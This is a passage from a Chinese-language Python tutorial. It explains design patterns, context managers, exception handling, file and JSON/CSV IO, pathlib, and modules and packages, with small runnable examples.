        return sum(self.scores) / len(self.scores) if self.scores else 0

s = Student("张三", 18, [90, 85, 95])
print(s)         # Student(name='张三', age=18, scores=[90, 85, 95])
print(s.average())  # 90.0

15.3 设计模式——"写代码的套路"

生活类比

设计模式就像"做菜的菜谱"。你第一次做红烧肉可能手忙脚乱,但如果你知道"先焯水、再炒糖色、最后小火慢炖"这个套路,每次做都能成功。设计模式就是前人总结的"代码套路"——遇到特定问题,用特定的结构去解决。

设计模式不是"越用越好"的银弹。它是在特定场景下解决特定问题的方案。用对了是优雅,用错了是过度设计。本节会讲最常用的几种模式,每种都会告诉你:什么时候用、什么时候不用、不用会怎样。

15.3.1 单例模式——"全局只有一个实例"

生活类比

想象一个公司只有一个 CEO。不管你从哪个部门找 CEO,找到的都是同一个人。单例模式就是确保一个类全局只有一个实例。你不需要知道 CEO 住在哪里(怎么创建的),只要调用 Company.get_ceo() 就能拿到同一个 CEO 对象。

为什么需要单例?有些资源在整个程序中应该只有一份:数据库连接池、日志记录器、配置管理器。如果创建多个实例,会浪费资源甚至导致数据不一致。

真实业务场景:数据库连接池

假设你有一个 Web 应用,每个请求都需要查数据库。如果每个请求都创建一个新的连接池,数据库很快就会被连接数撑爆。正确的做法是:整个应用只维护一个连接池实例,所有请求共享它。这就是单例模式的典型应用。

不使用单例 vs 使用单例
# ===== ❌ 不使用单例:每次调用都创建新连接池 =====
def get_users():
    pool = DatabasePool()  # 创建新连接池(浪费!)
    return pool.query("SELECT * FROM users")

def get_orders():
    pool = DatabasePool()  # 又创建一个!(数据库连接数飙升)
    return pool.query("SELECT * FROM orders")

# ===== ✅ 使用单例:全局共享一个连接池 =====
class DatabasePool:
    _instance = None

    def __new__(cls, db_url="sqlite:///app.db"):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
            cls._instance._init_pool(db_url)
        return cls._instance

    def _init_pool(self, db_url):
        """初始化连接池(只执行一次)"""
        self.db_url = db_url
        self.connections = []
        print(f"创建连接池:{db_url}")

    def query(self, sql):
        return f"执行查询:{sql}"

# 无论调用多少次,都是同一个实例
pool1 = DatabasePool()
pool2 = DatabasePool()
print(pool1 is pool2)  # True(同一个对象)
print(id(pool1) == id(pool2))  # True(内存地址相同)
单例的缺点与风险
  • 隐藏依赖关系:函数内部悄悄使用全局单例,代码的依赖关系变得不透明
  • 测试困难:单例的状态在测试间会"泄露",一个测试的修改可能影响另一个测试
  • 线程安全:多线程环境下,__new__ 方法可能被并发调用,需要加锁
  • 更好的替代方案:在现代 Python 中,通常用模块级变量或依赖注入代替单例
# 更 Pythonic 的方式:用模块级变量实现单例
# database.py
class _DatabasePool:
    def __init__(self):
        self.connections = []

    def query(self, sql):
        return f"执行:{sql}"

# 模块导入时只创建一次,天然就是单例
pool = _DatabasePool()

# main.py
from database import pool  # 所有地方导入的都是同一个 pool
pool.query("SELECT 1")

15.3.2 工厂模式——"告诉我要什么,我来创建"

生活类比

你去餐厅点菜,只需要说"来一份宫保鸡丁",不需要知道厨师是谁、用什么锅、怎么炒。厨房(工厂)会根据你的订单创建对应的菜品。工厂模式就是:你告诉工厂"我要什么",工厂负责"怎么创建"。调用者不需要知道创建的细节。

为什么需要工厂?当你需要根据不同的条件创建不同类型的对象时,如果把创建逻辑写在业务代码里,代码会变成一堆 if-else,而且每新增一种类型就要改业务代码。工厂模式把"创建什么"和"怎么用"分离开。

不使用工厂 vs 使用工厂
# ===== ❌ 不使用工厂:一堆 if-else 散落在业务代码中 =====
def create_notification(user, message, channel):
    if channel == "email":
        notifier = EmailNotifier()
    elif channel == "sms":
        notifier = SMSNotifier()
    elif channel == "wechat":
        notifier = WeChatNotifier()
    # 每新增一种通知方式,就要改这个函数!
    notifier.send(user, message)

# ===== ✅ 使用工厂:创建逻辑集中管理 =====
class Notifier:
    """通知器基类"""
    def send(self, user, message):
        raise NotImplementedError

class EmailNotifier(Notifier):
    def send(self, user, message):
        print(f"📧 邮件通知 {user}:{message}")

class SMSNotifier(Notifier):
    def send(self, user, message):
        print(f"📱 短信通知 {user}:{message}")

class WeChatNotifier(Notifier):
    def send(self, user, message):
        print(f"💬 微信通知 {user}:{message}")

# 工厂类:集中管理对象创建
class NotifierFactory:
    """通知器工厂"""
    _registry = {
        "email": EmailNotifier,
        "sms": SMSNotifier,
        "wechat": WeChatNotifier,
    }

    @classmethod
    def create(cls, channel: str) -> Notifier:
        """根据渠道创建对应的通知器"""
        notifier_cls = cls._registry.get(channel)
        if notifier_cls is None:
            raise ValueError(f"不支持的通知渠道:{channel}")
        return notifier_cls()

    @classmethod
    def register(cls, channel: str, notifier_cls: type):
        """注册新的通知渠道(扩展时不需要修改工厂)"""
        cls._registry[channel] = notifier_cls

# 使用:业务代码完全不需要关心创建细节
notifier = NotifierFactory.create("email")
notifier.send("张三", "你的订单已发货")

# 扩展:新增钉钉通知,只需要注册,不需要修改工厂
class DingTalkNotifier(Notifier):
    def send(self, user, message):
        print(f"🔔 钉钉通知 {user}:{message}")

NotifierFactory.register("dingtalk", DingTalkNotifier)
notifier = NotifierFactory.create("dingtalk")
notifier.send("李四", "会议即将开始")
工厂模式的适用场景
  • 对象类型经常扩展:比如支付方式(支付宝、微信、银行卡),每新增一种只需注册
  • 创建逻辑复杂:对象创建需要配置、初始化多个步骤
  • 需要解耦:业务代码不应该依赖具体的类名
工厂模式的缺点
  • 简单场景是过度设计:如果只有 2-3 种类型且不会扩展,直接 if-else 更清晰
  • 增加代码量:需要额外的工厂类和注册机制
  • 调试变难:看到 factory.create("email") 不知道实际创建的是哪个类

15.3.3 观察者模式——"订阅-通知"机制

生活类比

你在 B 站关注了一个 UP 主。每次他发新视频,你都会收到通知。你不需要每天去他主页检查——你"订阅"了他,他"发布"时会自动"通知"你。观察者模式就是这个"发布-订阅"机制:一个对象(发布者)状态变化时,自动通知所有关注它的对象(订阅者)。

为什么需要观察者?当一个对象的状态变化需要触发多个其他对象的更新时,如果硬编码调用,代码会耦合得很紧。观察者模式让发布者和订阅者互不知道对方是谁,实现解耦。

真实业务场景:事件总线

用户注册后需要做很多事:发欢迎邮件、初始化用户配置、记录日志、发送优惠券。如果把这些逻辑全写在注册函数里,函数会变得又长又难维护。用观察者模式,注册函数只需要"发布"一个 user_registered 事件,各个订阅者各自处理自己的逻辑。

完整的事件总线实现
from collections import defaultdict
from typing import Callable, Any

class EventBus:
    """事件总线——观察者模式的实战实现"""

    def __init__(self):
        # 事件名 → 回调函数列表
        self._listeners: dict[str, list[Callable]] = defaultdict(list)

    def on(self, event: str, callback: Callable):
        """订阅事件:当 event 发生时,调用 callback"""
        self._listeners[event].append(callback)

    def off(self, event: str, callback: Callable):
        """取消订阅"""
        self._listeners[event].remove(callback)

    def emit(self, event: str, *args, **kwargs):
        """发布事件:通知所有订阅者"""
        for callback in self._listeners.get(event, []):
            callback(*args, **kwargs)

    def once(self, event: str, callback: Callable):
        """只订阅一次:触发后自动取消"""
        def wrapper(*args, **kwargs):
            callback(*args, **kwargs)
            self.off(event, wrapper)
        self._listeners[event].append(wrapper)

# ===== 实战:用户注册后的事件处理 =====
bus = EventBus()

# 订阅者 1:发欢迎邮件
def send_welcome_email(user):
    print(f"📧 向 {user} 发送欢迎邮件")

# 订阅者 2:初始化用户配置
def init_user_config(user):
    print(f"⚙️ 初始化 {user} 的默认配置")

# 订阅者 3:记录注册日志
def log_registration(user):
    print(f"📝 记录日志:{user} 于今日注册")

# 订阅者 4:发送新人优惠券
def send_coupon(user):
    print(f"🎫 向 {user} 发送新人优惠券")

# 注册所有订阅者
bus.on("user_registered", send_welcome_email)
bus.on("user_registered", init_user_config)
bus.on("user_registered", log_registration)
bus.on("user_registered", send_coupon)

# 发布事件:注册函数只需要这一行
def register_user(username):
    # ... 保存到数据库的逻辑 ...
    print(f"✅ 用户 {username} 注册成功")
    bus.emit("user_registered", username)

register_user("张三")
# 输出:
# ✅ 用户 张三 注册成功
# 📧 向 张三 发送欢迎邮件
# ⚙️ 初始化 张三 的默认配置
# 📝 记录日志:张三 于今日注册
# 🎫 向 张三 发送新人优惠券
观察者模式的适用场景
  • 事件驱动架构:用户操作触发多个后续处理(如注册、下单)
  • GUI 编程:按钮点击、输入框变化等事件处理
  • 消息系统:发布-订阅模式的消息队列
  • 数据绑定:模型变化时自动更新视图(如 Vue.js 的响应式原理)
观察者模式的缺点
  • 调试困难:事件触发后执行了什么,不容易追踪("谁在监听这个事件?")
  • 内存泄漏:订阅者忘记取消订阅,会导致对象无法被垃圾回收
  • 执行顺序不确定:多个订阅者的执行顺序取决于注册顺序,可能产生意外依赖
  • 循环触发:订阅者中又触发了事件,可能导致无限循环

15.3.4 装饰器模式——"不改原代码,给功能加buff"

生活类比

你买了一件白 T 恤(原始功能)。天冷了,你在外面套一件外套(加了保暖功能);下雨了,你再穿一件雨衣(加了防水功能)。T 恤本身没变,但你通过"叠穿"给它增加了新功能。装饰器模式就是:不修改原代码,通过"包裹"的方式给对象添加新功能。

import time
from functools import wraps

# ===== 装饰器:给函数加"计时"功能 =====
def timer(func):
    """计时装饰器:测量函数执行时间"""
    @wraps(func)  # 保留原函数的名称和文档
    def wrapper(*args, **kwargs):
        start = time.time()
        result = func(*args, **kwargs)  # 调用原函数
        elapsed = time.time() - start
        print(f"⏱️ {func.__name__} 耗时 {elapsed:.4f} 秒")
        return result
    return wrapper

# ===== 装饰器:给函数加"重试"功能 =====
def retry(max_attempts=3, delay=1):
    """重试装饰器:失败后自动重试"""
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            for attempt in range(1, max_attempts + 1):
                try:
                    return func(*args, **kwargs)
                except Exception as e:
                    print(f"⚠️ 第 {attempt} 次失败:{e}")
                    if attempt < max_attempts:
                        time.sleep(delay)
                    else:
                        raise
        return wrapper
    return decorator

# ===== 使用:给函数"叠穿"多个装饰器 =====
@timer
@retry(max_attempts=3, delay=0.5)
def fetch_data(url):
    """从网络获取数据"""
    import random
    if random.random() < 0.7:  # 70% 概率失败
        raise ConnectionError("网络超时")
    return f"{url} 的数据"

# 调用时,重试和计时功能自动生效
result = fetch_data("https://api.example.com")

15.3.5 设计模式选型指南

模式一句话概括典型场景何时不用
单例全局只有一个实例数据库连接池、配置管理、日志器需要多个实例时(如多数据库连接)
工厂根据参数创建不同对象支付方式、通知渠道、文件解析器只有 2-3 种类型且不会扩展
观察者状态变化时通知订阅者事件系统、GUI 事件、消息推送只有 1-2 个监听者,直接调用更清晰
装饰器不改原代码,叠加新功能日志、缓存、权限校验、重试功能变化频繁,不如直接改原代码
策略把算法封装成可互换的类排序算法切换、折扣计算、路由匹配算法只有 1-2 种且固定不变

15.3.6 更多设计模式详解

策略模式(Strategy)——算法可互换

from abc import ABC, abstractmethod

# 策略接口
class PaymentStrategy(ABC):
    @abstractmethod
    def pay(self, amount):
        pass

# 具体策略:支付宝
class Alipay(PaymentStrategy):
    def pay(self, amount):
        print(f"支付宝支付 {amount} 元")

# 具体策略:微信支付
class WechatPay(PaymentStrategy):
    def pay(self, amount):
        print(f"微信支付 {amount} 元")

# 具体策略:信用卡
class CreditCard(PaymentStrategy):
    def __init__(self, card_number):
        self.card_number = card_number

    def pay(self, amount):
        print(f"信用卡 {self.card_number} 支付 {amount} 元")

# 上下文:使用策略的类
class ShoppingCart:
    def __init__(self):
        self.items = []

    def add_item(self, name, price):
        self.items.append({"name": name, "price": price})

    def checkout(self, payment_method: PaymentStrategy):
        total = sum(item["price"] for item in self.items)
        payment_method.pay(total)

# 使用:可以随时切换支付方式
cart = ShoppingCart()
cart.add_item("Python教程", 99)
cart.add_item("键盘", 299)

cart.checkout(Alipay())           # 支付宝支付 398 元
cart.checkout(WechatPay())        # 微信支付 398 元
cart.checkout(CreditCard("1234")) # 信用卡 1234 支付 398 元

观察者模式(Observer)——事件通知

from typing import Callable

class EventEmitter:
    """事件发射器(观察者模式)"""
    def __init__(self):
        self._listeners = {}

    def on(self, event: str, callback: Callable):
        """订阅事件"""
        if event not in self._listeners:
            self._listeners[event] = []
        self._listeners[event].append(callback)

    def off(self, event: str, callback: Callable):
        """取消订阅"""
        if event in self._listeners:
            self._listeners[event].remove(callback)

    def emit(self, event: str, *args, **kwargs):
        """触发事件"""
        if event in self._listeners:
            for callback in self._listeners[event]:
                callback(*args, **kwargs)

# 使用示例
class OrderSystem:
    def __init__(self):
        self.events = EventEmitter()

    def create_order(self, order_id, amount):
        print(f"创建订单 {order_id},金额 {amount}")
        # 触发事件
        self.events.emit("order_created", order_id, amount)

# 订阅者:发送邮件
def send_email(order_id, amount):
    print(f"发送邮件:订单 {order_id} 已创建,金额 {amount}")

# 订阅者:更新库存
def update_stock(order_id, amount):
    print(f"更新库存:订单 {order_id} 扣减库存")

# 订阅者:记录日志
def log_order(order_id, amount):
    print(f"记录日志:订单 {order_id},金额 {amount}")

# 使用
order_system = OrderSystem()
order_system.events.on("order_created", send_email)
order_system.events.on("order_created", update_stock)
order_system.events.on("order_created", log_order)

order_system.create_order("ORD001", 99.9)
# 输出:
# 创建订单 ORD001,金额 99.9
# 发送邮件:订单 ORD001 已创建,金额 99.9
# 更新库存:订单 ORD001 扣减库存
# 记录日志:订单 ORD001,金额 99.9

工厂模式(Factory)——创建对象

from abc import ABC, abstractmethod

# 产品接口
class Notification(ABC):
    @abstractmethod
    def send(self, message: str):
        pass

# 具体产品:邮件通知
class EmailNotification(Notification):
    def __init__(self, email):
        self.email = email

    def send(self, message: str):
        print(f"发送邮件到 {self.email}: {message}")

# 具体产品:短信通知
class SMSNotification(Notification):
    def __init__(self, phone):
        self.phone = phone

    def send(self, message: str):
        print(f"发送短信到 {self.phone}: {message}")

# 具体产品:推送通知
class PushNotification(Notification):
    def __init__(self, device_id):
        self.device_id = device_id

    def send(self, message: str):
        print(f"推送到设备 {self.device_id}: {message}")

# 工厂类
class NotificationFactory:
    """通知工厂:根据类型创建对应的通知对象"""

    @staticmethod
    def create(notify_type: str, target: str) -> Notification:
        if notify_type == "email":
            return EmailNotification(target)
        elif notify_type == "sms":
            return SMSNotification(target)
        elif notify_type == "push":
            return PushNotification(target)
        else:
            raise ValueError(f"未知的通知类型: {notify_type}")

# 使用:客户端不需要知道具体的类,只需要告诉工厂要什么
notification = NotificationFactory.create("email", "user@example.com")
notification.send("您的订单已发货")

notification = NotificationFactory.create("sms", "13800138000")
notification.send("您的验证码是 123456")

# 批量发送
def send_notification(notify_type: str, targets: list, message: str):
    for target in targets:
        notification = NotificationFactory.create(notify_type, target)
        notification.send(message)

send_notification("email", ["a@test.com", "b@test.com"], "系统维护通知")

建造者模式(Builder)——构建复杂对象

class QueryBuilder:
    """SQL 查询构建器(建造者模式)"""
    def __init__(self):
        self._table = ""
        self._conditions = []
        self._order_by = ""
        self._limit = None
        self._fields = "*"

    def table(self, name: str):
        self._table = name
        return self  # 返回 self 支持链式调用

    def select(self, *fields):
        self._fields = ", ".join(fields)
        return self

    def where(self, condition: str):
        self._conditions.append(condition)
        return self

    def order_by(self, field: str, desc=False):
        self._order_by = f"{field} DESC" if desc else field
        return self

    def limit(self, n: int):
        self._limit = n
        return self

    def build(self) -> str:
        query = f"SELECT {self._fields} FROM {self._table}"
        if self._conditions:
            query += " WHERE " + " AND ".join(self._conditions)
        if self._order_by:
            query += f" ORDER BY {self._order_by}"
        if self._limit:
            query += f" LIMIT {self._limit}"
        return query

# 使用:链式调用,非常优雅
query = (QueryBuilder()
    .table("users")
    .select("name", "age", "email")
    .where("age > 18")
    .where("status = 'active'")
    .order_by("age", desc=True)
    .limit(10)
    .build())

print(query)
# SELECT name, age, email FROM users WHERE age > 18 AND status = 'active' ORDER BY age DESC LIMIT 10
常见错误总结
  • 混淆 __str__ 和 __repr__:__str__ 给用户看,__repr__ 给开发者看。调试时打印对象,显示的是 __repr__
  • dataclass 的可变默认值:必须用 field(default_factory=list),不能直接写 list,否则所有实例共享同一个列表
  • 过度使用设计模式:设计模式是工具,不是目标。简单问题不需要复杂模式——"能用三行代码解决的事,不要用三个类"
  • 单例的线程安全:多线程环境下 __new__ 可能被并发调用,需要加锁或用模块级变量代替
  • 观察者的内存泄漏:订阅者对象销毁前必须取消订阅,否则事件总线持有引用导致无法垃圾回收

第十六章:上下文管理器

本章导览

上下文管理器是 Python 中管理资源(文件、数据库连接、锁等)的优雅方式。with 语句确保资源在使用后一定会被释放,不管中间是否发生异常。就像你去图书馆借书——借的时候登记(__enter__),还的时候注销(__exit__),不管你有没有看完。

16.1 with 语句的魔力——"自动管理资源"

为什么需要 with 语句?

在编程中,很多资源(文件、数据库连接、网络连接等)用完后必须释放。如果手动管理,很容易忘记关闭,导致资源泄露。with 语句帮你自动管理——进入时获取资源,离开时释放资源。

# 最常见的用法:文件操作
with open("test.txt", "w") as f:
    f.write("Hello")
# 离开 with 块后,文件自动关闭(即使发生异常也一样)

# 等价于(但更安全):
f = open("test.txt", "w")
try:
    f.write("Hello")
finally:
    f.close()  # 无论是否发生异常,都会关闭文件

# with 语句的好处:
# 1. 代码更简洁
# 2. 不会忘记关闭资源
# 3. 即使发生异常也能正确释放

16.2 自定义上下文管理器——"实现 __enter__ 和 __exit__"

上下文管理器协议

只要实现 __enter__ 和 __exit__ 方法,任何类都可以用 with 语句。

import time

class Timer:
    """计时器上下文管理器"""
    def __enter__(self):
        """进入 with 块时调用"""
        self.start = time.time()
        return self  # 返回值赋给 as 后面的变量

    def __exit__(self, exc_type, exc_val, exc_tb):
        """离开 with 块时调用(即使发生异常)"""
        self.elapsed = time.time() - self.start
        print(f"耗时:{self.elapsed:.4f} 秒")
        return False  # 不吞掉异常(True 表示吞掉异常)

# 使用
with Timer():
    total = sum(range(1_000_000))
# 耗时:0.0412 秒

# 连接数据库的例子
class DatabaseConnection:
    def __init__(self, db_name):
        self.db_name = db_name

    def __enter__(self):
        print(f"连接到 {self.db_name}")
        self.connection = f"Connection({self.db_name})"
        return self.connection

    def __exit__(self, exc_type, exc_val, exc_tb):
        print(f"关闭 {self.db_name} 连接")
        return False

with DatabaseConnection("mydb") as conn:
    print(f"使用 {conn} 执行查询")
# 连接到 mydb
# 使用 Connection(mydb) 执行查询
# 关闭 mydb 连接
__exit__ 的参数
def __exit__(self, exc_type, exc_val, exc_tb):
    # exc_type: 异常类型(如 ValueError)
    # exc_val:  异常值(异常的具体信息)
    # exc_tb:   异常的追踪信息(traceback)
    # 如果没有异常,三个参数都是 None
    # 返回 True → 吞掉异常,不向外抛出
    # 返回 False → 不吞掉异常,继续向外抛出

16.3 contextlib 模块——"用生成器写上下文管理器"

@contextmanager 装饰器

用类写上下文管理器有点繁琐。contextlib 模块提供了 @contextmanager 装饰器,让你用生成器函数来写,更简洁。

from contextlib import contextmanager
import time

# 用生成器写上下文管理器(更简洁)
@contextmanager
def timer():
    start = time.time()
    yield    # yield 之前是 __enter__,之后是 __exit__
    elapsed = time.time() - start
    print(f"耗时:{elapsed:.4f} 秒")

with timer():
    total = sum(range(1_000_000))
# 耗时:0.0412 秒

# suppress:忽略指定异常
from contextlib import suppress

with suppress(FileNotFoundError):
    with open("不存在的文件.txt") as f:
        content = f.read()
    # FileNotFoundError 被静默忽略,不会报错

# closing:确保对象有 close() 方法
from contextlib import closing
# 常用于数据库连接等
什么时候用类,什么时候用 @contextmanager?
  • 类:适合复杂的上下文管理器,需要维护状态
  • @contextmanager:适合简单的场景,代码更简洁
常见错误总结
  • 忘记 yield 返回值:@contextmanager 中 yield 的值会赋给 as 变量
  • 在 yield 之后抛出异常:如果在 yield 之后的代码中抛出异常,会被吞掉
  • __exit__ 返回 True:这会吞掉异常,通常应该返回 False

第十七章:异常处理

本章导览

异常处理是程序健壮性的保障。就像开车时的安全气囊——你希望永远用不到,但万一出了事故,它能保护你。本章会教你如何捕获、处理和抛出异常,让你的程序在遇到错误时不会直接崩溃。

17.1 什么是异常?——"程序运行时的错误"

异常 vs 语法错误

异常(Exception)和语法错误(SyntaxError)不同:

# 常见异常示例
print(10 / 0)         # ZeroDivisionError: 除以零
print(int("abc"))      # ValueError: 无法转换为整数
print(name)            # NameError: 变量未定义
lst = [1, 2, 3]
print(lst[10])         # IndexError: 索引越界
d = {"a": 1}
print(d["b"])          # KeyError: 键不存在
print(int + 1)         # TypeError: 类型错误

17.2 try-except 捕获异常——"出错了怎么办"

基本语法

try 块中放可能出错的代码,except 块中放出错后的处理逻辑。

# 基本语法
try:
    num = int(input("请输入数字:"))
    result = 10 / num
    print(f"结果是:{result}")
except ValueError:
    print("输入的不是数字!")
except ZeroDivisionError:
    print("不能除以零!")

# 执行流程:
# 1. 执行 try 块中的代码
# 2. 如果发生 ValueError → 执行第一个 except 块
# 3. 如果发生 ZeroDivisionError → 执行第二个 except 块
# 4. 如果没有异常 → 跳过所有 except 块

捕获多种异常

# 捕获多种异常(用元组)
try:
    # 可能出错的代码
    pass
except (ValueError, TypeError) as e:
    print(f"出错了:{e}")

# 捕获所有异常(不推荐滥用)
try:
    pass
except Exception as e:
    print(f"出错了:{e}")

# 获取异常信息
try:
    1 / 0
except ZeroDivisionError as e:
    print(f"异常类型: {type(e).__name__}")  # ZeroDivisionError
    print(f"异常信息: {e}")                  # division by zero
不要滥用 except Exception

捕获所有异常会隐藏真正的错误,让调试变得困难。只捕获你预期会发生的异常。

17.3 try-except-else-finally——"完整的异常处理结构"

try:
    num = int(input("输入数字:"))
    result = 10 / num
except ValueError:
    print("不是数字")
except ZeroDivisionError:
    print("不能除以零")
else:
    # 没有异常时执行(可选)
    print(f"结果是:{result}")
finally:
    # 无论如何都会执行(通常用于清理资源)
    print("程序结束")

# 执行流程:
# 有异常: try → except → finally
# 无异常: try → else → finally
各部分的执行时机
  • try:可能出错的代码
  • except:出错时执行(可以有多个)
  • else:没有出错时执行(可选)
  • finally:无论如何都会执行(可选,通常用于清理)

17.4 自定义异常——"定义自己的错误类型"

class AgeError(ValueError):
    """年龄不合法时抛出"""
    pass

class ScoreError(ValueError):
    """分数不合法时抛出"""
    def __init__(self, score, message="分数必须在 0-100 之间"):
        self.score = score
        self.message = message
        super().__init__(self.message)

def set_age(age):
    if age < 0 or age > 150:
        raise AgeError(f"年龄 {age} 不合法,必须在 0-150 之间")
    print(f"年龄设置为:{age}")

def set_score(score):
    if not 0 <= score <= 100:
        raise ScoreError(score)
    print(f"分数设置为:{score}")

# 使用
try:
    set_age(200)
except AgeError as e:
    print(f"错误:{e}")

try:
    set_score(150)
except ScoreError as e:
    print(f"错误:{e},你输入的是 {e.score}")

17.5 异常链(raise from)——"保留原始错误信息"

def process_data(data):
    try:
        return int(data)
    except ValueError as original:
        raise RuntimeError("数据处理失败") from original
        # from original 保留了原始异常信息

try:
    process_data("abc")
except RuntimeError as e:
    print(f"错误:{e}")
    print(f"原始原因:{e.__cause__}")
常见错误总结
  • 用 except 捕获所有异常:会隐藏真正的错误,只捕获你预期的异常
  • 在 except 中什么都不做:except: pass 是最糟糕的做法
  • 忘记 finally 会执行:finally 中的代码总是会执行,即使有 return
  • 异常类命名不规范:自定义异常应该以 Error 结尾

第十八章:文件与 IO

本章导览

文件操作是编程中最常见的任务之一——读取配置文件、保存数据、处理日志等。本章会教你如何读写文本文件、二进制文件,以及处理 JSON、CSV 等常见格式。还会介绍 pathlib,这是 Python 推荐的现代路径操作方式。

18.1 读写文本文件——"最基本的 IO 操作"

打开文件的模式

模式说明文件不存在时
r只读(默认)报错
w写入(覆盖)创建新文件
a追加创建新文件
r+读写报错
x创建(文件已存在则报错)创建新文件
# 写入文件
with open("test.txt", "w", encoding="utf-8") as f:
    f.write("第一行\n")
    f.write("第二行\n")
    f.write("第三行\n")

# 读取整个文件
with open("test.txt", "r", encoding="utf-8") as f:
    content = f.read()
    print(content)

# 逐行读取(推荐,内存友好)
with open("test.txt", "r", encoding="utf-8") as f:
    for line in f:
        print(line.strip())  # strip() 去掉换行符

# 读取为列表
with open("test.txt", "r", encoding="utf-8") as f:
    lines = f.readlines()  # ['第一行\n', '第二行\n', '第三行\n']

# 追加模式
with open("test.txt", "a", encoding="utf-8") as f:
    f.write("追加的内容\n")
encoding 参数很重要!

在 Windows 上,如果不指定 encoding="utf-8",中文内容可能会乱码。建议总是指定编码。

18.2 读写二进制文件

# 复制图片(二进制模式)
with open("photo.jpg", "rb") as src:
    data = src.read()

with open("photo_copy.jpg", "wb") as dst:
    dst.write(data)

# rb = 读二进制,wb = 写二进制
# 适用于图片、音频、视频等非文本文件

18.3 JSON 处理——"最常用的数据交换格式"

什么是 JSON?

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式。它和 Python 的字典非常像,是 Web API 最常用的数据格式。

import json

# Python 对象 → JSON 字符串
data = {"name": "张三", "age": 18, "scores": [90, 85, 95]}
json_str = json.dumps(data, ensure_ascii=False, indent=2)
print(json_str)
# {
#   "name": "张三",
#   "age": 18,
#   "scores": [90, 85, 95]
# }

# JSON 字符串 → Python 对象
parsed = json.loads(json_str)
print(parsed["name"])  # 张三

# 写入 JSON 文件
with open("data.json", "w", encoding="utf-8") as f:
    json.dump(data, f, ensure_ascii=False, indent=2)

# 从 JSON 文件读取
with open("data.json", "r", encoding="utf-8") as f:
    data = json.load(f)
JSON 常用参数
  • ensure_ascii=False:允许输出中文(否则中文会变成 \uXXXX)
  • indent=2:缩进 2 个空格,输出更美观
  • sort_keys=True:按键名排序

18.4 CSV 处理——"表格数据的标准格式"

import csv

# 写入 CSV
with open("users.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerow(["姓名", "年龄", "城市"])
    writer.writerow(["张三", 18, "北京"])
    writer.writerow(["李四", 20, "上海"])

# 读取 CSV
with open("users.csv", "r", encoding="utf-8") as f:
    reader = csv.reader(f)
    for row in reader:
        print(row)
# ['姓名', '年龄', '城市']
# ['张三', '18', '北京']
# ['李四', '20', '上海']

# 用字典方式读写(推荐,更清晰)
with open("users.csv", "r", encoding="utf-8") as f:
    reader = csv.DictReader(f)
    for row in reader:
        print(f"{row['姓名']},{row['年龄']}岁")

18.5 pathlib 路径操作(推荐)——"现代的路径处理方式"

为什么用 pathlib?

pathlib 是 Python 3.4 引入的模块,用面向对象的方式处理路径,比传统的 os.path 更直观、更安全。

from pathlib import Path

# 创建路径对象
p = Path("documents/notes")
print(p)  # documents/notes

# 常用操作
home = Path.home()           # 用户主目录
cwd = Path.cwd()             # 当前目录
file_path = cwd / "test.txt" # 用 / 拼路径(比 os.path.join 更直观)

# 路径信息
p = Path("/home/user/test.py")
print(p.name)       # test.py(文件名)
print(p.stem)       # test(不含后缀)
print(p.suffix)     # .py(后缀)
print(p.parent)     # /home/user(父目录)

# 判断
print(p.exists())    # 是否存在
print(p.is_file())   # 是否是文件
print(p.is_dir())    # 是否是目录

# 文件操作
Path("new_file.txt").write_text("Hello", encoding="utf-8")
content = Path("new_file.txt").read_text(encoding="utf-8")

# 遍历目录
for f in Path(".").glob("*.py"):     # 当前目录的 .py 文件
    print(f)

for f in Path(".").rglob("*.txt"):   # 递归搜索所有 .txt
    print(f)
常见错误总结
  • 忘记指定 encoding:Windows 上中文会乱码
  • 用 w 模式打开已有文件:会覆盖原有内容,用 a 追加
  • 忘记 newline="":写 CSV 时可能出现空行
  • 用字符串拼接路径:应该用 pathlib 或 os.path.join

第十九章:模块与包

本章导览

当你的代码越来越多,把所有东西放在一个文件里就变得不可维护。模块和包让你把代码组织成独立的文件和目录,就像把文件分类放进不同的文件夹。本章还会介绍 __name__ 的作用、包的结构,以及如何使用 pip 管理第三方库和虚拟环境。

19.1 什么是模块?——"一个 .py 文件就是一个模块"

为什么要用模块?

# math_utils.py(这是一个模块)
def add(a, b):
    return a + b

def multiply(a, b):
    return a * b

PI = 3.14159
# main.py(导入并使用模块)
import math_utils

print(math_utils.add(3, 5))    # 8
print(math_utils.PI)           # 3.14159

# 只导入部分内容
from math_utils import add, PI
print(add(3, 5))               # 8

# 起别名
import math_utils as mu
print(mu.add(3, 5))

# 导入全部(不推荐,容易命名冲突)
from math_utils import *
导入方式对比
  • import math_utils:导入整个模块,用 math_utils.xxx 访问
  • from math_utils import add:只导入 add,直接用 add() 调用
  • import math_utils as mu:起别名,用 mu.xxx 访问
  • from math_utils import *:导入全部(不推荐,容易命名冲突)

19.2 __name__ 的作用——"我是被直接运行,还是被导入的?"

# math_utils.py
def add(a, b):
    return a + b

# 当直接运行此文件时,__name__ 是 "__main__"
# 当被其他文件 import 时,__name__ 是 "math_utils"
if __name__ == "__main__":
    # 只在直接运行时执行的测试代码
    print(add(3, 5))  # 8
    print("测试通过!")

# 这个模式非常常见,几乎所有 Python 文件都会用到

19.3 包(Package)——"模块的文件夹"

包就是一个包含 __init__.py 文件的目录。它让你把多个模块组织在一起。

myproject/
├── main.py
└── mypackage/
    ├── __init__.py      # 标识这是一个包(可以为空)
    ├── module_a.py
    └── module_b.py
# __init__.py
from .module_a import func_a
from .module_b import func_b

# main.py
from mypackage import func_a, func_b
# 或者
from mypackage.module_a import func_a

19.4 常用标准库——"Python 自带的工具箱"

# os:操作系统相关
import os
print(os.getcwd())           # 当前工作目录
print(os.listdir("."))       # 列出目录内容
os.makedirs("new_dir", exist_ok=True)  # 创建目录

# sys:系统相关
import sys
print(sys.version)           # Python 版本
print(sys.path)              # 模块搜索路径

# datetime:日期时间
from datetime import datetime, timedelta
now = datetime.now()
print(now.strftime("%Y-%m-%d %H:%M:%S"))
tomorrow = now + timedelta(days=1)

# random:随机数
import random
print(random.randint(1, 100))          # 随机整数
print(random.choice(["a", "b", "c"]))  # 随机选择

# hashlib:哈希/摘要
import hashlib
text = "Hello"
md5 = hashlib.md5(text.encode()).hexdigest()
sha256 = hashlib.sha256(text.encode()).hexdigest()

19.5 pip 与虚拟环境——"管理第三方库"

# 安装第三方包
pip install requests
pip install flask==2.3.0     # 指定版本
pip install -r requirements.txt

